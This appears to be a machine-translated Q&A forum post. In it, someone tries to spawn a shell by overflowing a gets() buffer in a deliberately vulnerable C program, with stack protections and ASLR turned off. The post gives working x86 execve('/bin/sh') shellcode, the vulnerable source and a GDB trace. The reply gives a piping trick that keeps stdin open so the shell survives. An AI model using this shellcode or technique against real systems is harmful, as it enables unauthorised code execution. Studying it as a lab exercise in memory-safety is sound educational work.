2013-04-22 155 views
0

我想溢出緩衝區與我的shellcode,我有一個gets()的問題。 如果我使用strcpy()函數將shellcode與緩衝區溢出 - 沒關係,我得到了一個/ bin/bash。但是如果我用gets()函數做同樣的事情,它什麼也不顯示。我用gets()嘗試ret2text攻擊,它工作正常,bun如果我嘗試用惡意代碼溢出(shell)它不起作用。 我關掉堆疊保護器(-fno疊層保護器),禁用ASLR(回聲0> randomize_va_space),啓用堆執行(-z execstack)緩衝區溢出與gets()

這裏是的shellcode

xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 

這裏是vuln PROG

#include <stdio.h> 
#include <string.h> 

int ask_user(void) 
{ 
    int ret; 
    char name[10]; 
    printf("Your Name: "); 
    fflush(stdout); 
    gets(name); 
    ret = strcmp(name, "Peter"); 
    if (ret == 0) 
    return 1; 
    return 0; 
} 

int main(int argc, char *argv[]) 
{ 
    int is_peter; 
    printf("This Application finds the Peter!\n"); 
    is_peter = ask_user(); 
    if (is_peter == 1) 
    { 
     printf("Lol, you are a real Peter!\n"); 
     return 0; 
    } 
    printf("Ups, no Peter :-/\n"); 
    return 0; 
} 

GDB的某些

gdb$ si 
--------------------------------------------------------------------------[regs] 
    EAX: 0x0000000B EBX: 0xBFFFEF22 ECX: 0x00000000 EDX: 0x00000000 o d I t s Z a P c 
    ESI: 0x00000000 EDI: 0x00000000 EBP: 0x41414141 ESP: 0xBFFFEF10 EIP: 0xBFFFEF1B 
    CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B 
--------------------------------------------------------------------------[code] 
=> 0xbfffef1b: int 0x80 
    0xbfffef1d: call 0xbfffef12 
    0xbfffef22: das  
    0xbfffef23: bound ebp,QWORD PTR [ecx+0x6e] 
    0xbfffef26: das  
    0xbfffef27: jae 0xbfffef91 
    0xbfffef29: add BYTE PTR [eax+ecx*1],al 
    0xbfffef2c: add BYTE PTR [eax],al 
-------------------------------------------------------------------------------- 
0xbfffef1b in ??() 
gdb$ x/1sb $ebx 
0xbfffef22:  "/bin/sh" 
gdb$ x/1sb $esp 
0xbfffef10:  "ë\v[1À1É1Ò°\vÍ\200èð\377\377\377/bin/sh" 
gdb$ si 
process 3697 is executing new program: /bin/bash 
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command. 
warning: Could not load shared library symbols for linux-gate.so.1. 
Do you need "set solib-search-path" or "set sysroot"? 
[Inferior 1 (process 3697) exited normally] 
--------------------------------------------------------------------------[regs] 
    EAX:Error while running hook_stop: 
No registers. 

正如你可以看到我n調試器此時shell正在啓動和退出。當我使用strcpy時,它啓動shell並不退出

回答

0

strcpy和gets之間存在不同的行爲。

你應該嘗試使用類似的東西來讓標準輸入打開: (cat/tmp/yourbuffer; cat)| ./vuln